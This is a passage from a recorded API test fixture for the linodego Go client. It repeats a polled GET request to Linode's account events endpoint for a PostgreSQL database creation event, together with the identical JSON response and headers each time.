X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter 